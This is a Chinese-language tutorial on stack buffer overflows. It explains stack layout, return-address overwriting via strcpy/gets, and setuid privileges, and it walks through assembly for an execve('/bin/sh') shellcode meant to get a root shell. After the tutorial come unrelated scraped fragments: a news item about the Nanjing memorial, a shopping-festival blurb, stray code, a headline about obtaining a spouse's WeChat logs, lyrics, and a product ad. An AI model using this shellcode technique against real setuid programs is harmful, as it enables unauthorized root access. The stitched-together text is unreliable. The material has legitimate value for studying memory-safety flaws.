自己写溢出的基础,溢出原理 一:基础知识 计算机内存运行分配的区域分为3个 程序段区域:不允许写的 数据段区域:静态全局变量是位于数据段并且在程序开始运行的时候被加载 堆栈区域:放置程序的动态的用于计算的局部和临时变量则分配在堆栈里面和在过程调用中压入的返回地 址数据。堆栈是一个先入后出的队列。一般计算机系统堆栈的方向与内存的方向相反。压栈的xx作push=ESP-4,出栈的xx作是pop=ESP+4.在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。 在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:先压c,再压b,最后a.在取参数的时候, 指令执行的图例: 指令区域 执行程序区 0123 0 4 8调用100处的函数,参数1(3位),2(10位) C 100123 100执行处理 104 108 10C 110返回调用堆栈区域 0123 如果EBP分配的空间不够xx作就是产生溢出的地方 200保存以前的EBP4位(数据段的指针,用于可以使用局部动态 变量)现在的EBP等于当前的ESP-动态数据的大小值, ESP=200 2040C000000 此处是程序的返回地址 208参数1,填充1位 20C参数2填充2位 210 讲解例子WIN下的程序DEMO,演示参数导致的返回地址的变化 讲清主要4位的填充问题 另外溢出还会导致数据段的改变3:如何利用堆栈溢出 原理可以概括为:由于字符串处理函数(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写越界,覆盖堆栈中的老元素的值,就可以修改返回地址。在DEMO的例子中,这导致CPU去访问一个不存在的指令,结果出错。事实上,我们已经完全的控制了这个程序下一步的动作。如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令。那么有什么用呢,就算使得我们的程序可以跳转执行一些代码,如何用他来突破系统限制来获得权限呢?二:系统权限知识 UNIX系统在运行的时候的权限检查主要是根据UID,GID,SID三个标来检查的,主要根据SID来检查权限 SU系统调用就是SID变成SU的对象 S粘贴位使得运行程序的人具有该程序拥有者一样的权限 中断ROOT的S粘贴位的程序就可以获得超级用户的权限,SID位置没被调用返回修改回来。 VI的S粘贴位可以中断的例子在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得rootshell。三:溢出突破权限的实现 首先要编写SHELLCODE的2进制代码作为溢出的参数进行传入: shellcode的C程序注意:execve函数将执行一个程序。他需要程序的名字地址作为之一个参数。一个内容为该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*)0作为第三个参数。 我们来看以看execve的汇编代码: 0x804ce7c<__execve>:push%ebp‘保存以前的数据段地址 0x804ce7d<__execve+1>:mov%esp,%ebp‘使得当前数据段指向堆栈 0x804ce7f<__execve+3>:push%edi 0x804ce80<__execve+4>:push%ebx‘保存 0x804ce81<__execve+5>:mov0x8(%ebp),%edi‘ebp+8是之一个参数"/bin/sh\0" 0x804ce84<__execve+8>:mov$0x0,%eax‘清0 0x804ce89<__execve+13>:test%eax,%eax 0x804ce8b<__execve+15>:je0x804ce92<__execve+22> 0x804ce8d<__execve+17>:call0x0 0x804ce92<__execve+22>:mov0xc(%ebp),%ecx‘设置NAME[0]参数,4字节对齐 0x804ce95<__execve+25>:mov0x10(%ebp),%edx,设置NAME[1]参数,4字节对齐 0x804ce98<__execve+28>:push%ebx 0x804ce99<__execve+29>:mov%edi,%ebx 0x804ce9b<__execve+31>:mov$0xb,%eax‘设置XB号调用 0x804cea0<__execve+36>:int$0x80‘调用执行 0x804cea2<__execve+38>:pop%ebx 0x804cea3<__execve+39>:mov%eax,%ebx 0x804cea5<__execve+41>:cmp$0xfffff000,%ebx 0x804ceab<__execve+47>:jbe0x804cebb<__execve+63> 0x804cead<__execve+49>:call0x8048324<__errno_location> 0x804ceb2<__execve+54>:neg%ebx 0x804ceb4<__execve+56>:mov%ebx,(%eax) 0x804ceb6<__execve+58>:mov$0xffffffff,%ebx 0x804cebb<__execve+63>:mov%ebx,%eax 0x804cebd<__execve+65>:lea0xfffffff8(%ebp),%esp 0x804cec0<__execve+68>:pop%ebx 0x804cec1<__execve+69>:pop%edi 0x804cec2<__execve+70>:leave 0x804cec3<__execve+71>:ret精练的调用 *** 是 0x804ce92<__execve+22>:mov0xc(%ebp),%ecx‘设置NAME[0]参数,4字节对齐 0x804ce95<__execve+25>:mov0x10(%ebp),%edx,设置NAME[1]参数,4字节对齐 0x804ce9b<__execve+31>:mov$0xb,%eax‘设置XB号调用 0x804cea0<__execve+36>:int$0x80‘调用执行另外要执行一个exit()系统调用,结束shellcode的执行。 0x804ce60<_exit>:mov%ebx,%edx 0x804ce62<_exit+2>:mov0x4(%esp,1),%ebx设置参数0 0x804ce66<_exit+6>:mov$0x1,%eax‘1号调用 0x804ce6b<_exit+11>:int$0x80 0x804ce6d<_exit+13>:mov%edx,%ebx 0x804ce6f<_exit+15>:cmp$0xfffff001,%eax 0x804ce74<_exit+20>:jae0x804d260<__syscall_error>那么总结一下,合成的汇编代码为: mov0xc(%ebp),%ecx mov0x10(%ebp),%edx mov$0xb,%eax int$0x80 mov0x4(%esp,1),%ebx mov$0x1,%eax int$0x80但问题在于我们必须把这个程序作为字符串的参数传给溢出的程序进行调用,如何来分配和定位字符串“/bin/sh”,还得有一个name数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次程序都是动态加载,字符串和name数组的地址都不是固定的。 利用call压入下一条语句的返回地址,把数据作为下一条指令我们就可以达到目的。 JmpCALL Popl%esi‘利用CALL弹出压入的下一条语句的地址,其实就是我们构造的字符串的地址 movb$0x0,0x7(%esi)‘输入0的字符串为结尾 mov%esi,0X8(%esi)‘构造NAME数组,放如字串的地址作为NAME[0] mov$0x0,0xc(%esi)‘构造NAME[1]为NULL,NAME[0]为4位地址,所以偏移为0xc mov%esi,%ebx‘设置数据段开始的地址 leal0x8(%esi),%ecx‘设置参数1 leal0xc(%esi),%edx‘设置参数2 mov$0xb,%eax‘设置调用号 int$0x80‘调用 mov$0x0,%ebx mov$0x1,%eax int$0x80 Callpopl .string\"/bin/sh\"然后通过C编译器编写MYSHELLA *** .C 运行出错,原因代码段不允许进行修改,但是对于我们溢出是可以的,原因在于溢出是在数据段运行的,通过GDB查看16进制码,倒出ASCII字符写出TEST.C程序来验证MYSHELLA *** 可以运行 ret=(int*)&ret+2;//ret等于main()执行完后的返回系统的地址 //(+2是因为:有pushlebp,否则加1就可以了。)但是在堆栈溢出中
12月13日,南京大屠杀死难者国家公祭日,81年前的这一天,南京沦陷,日本侵略者进入南京城,在华中派遣军司令松井石根和第6师团长谷寿夫指挥下,开始了为期六周的血腥屠杀,30多万中国军民惨遭杀戮,日军罪...
中国北京时间11月10日20:30分迈入了第一个天猫双11狂欢之夜,不得不承认马云爸爸真爱玩,无故搞出个电商节不用说如今还开办晚会节目来啦,此次的晚会节目邀约的大牌明星特邀嘉宾十分多,并且也有专业为双...
receiver android:name="com.wallpaper.OnAlarmReceiver" />if (isset($_POST['submit'])) { 安排内部文件曝光其间...
谁会调取老公和小三微信聊天记录(老公和小三微信聊天记录调取攻略),丈夫团聚回来后,用手机爱上了微信,还和女同学聊天。 他发现了这一点,不再对她的丈夫不满。 昨天,合肥一名网友将自己的经历发布在网上...
你好,听着像是李圣杰的《最近》可是我却不能够在你的身旁你想要的我却不能够给你我全部我能给的却又不是你想要拥有的 套路-JonyJ当你开始担心没法迈步只好摆出无所谓的态度金玉其外败絮其中真正的霸气不用...
在近期举办的亚略特“聚力•共赢 共话新智能”合作伙伴大会上,亚略特的AI行为识别场景化产品——“AI+明厨亮灶”解决方案首次公开亮相。 作为亚略特AI多模态生物识别技术...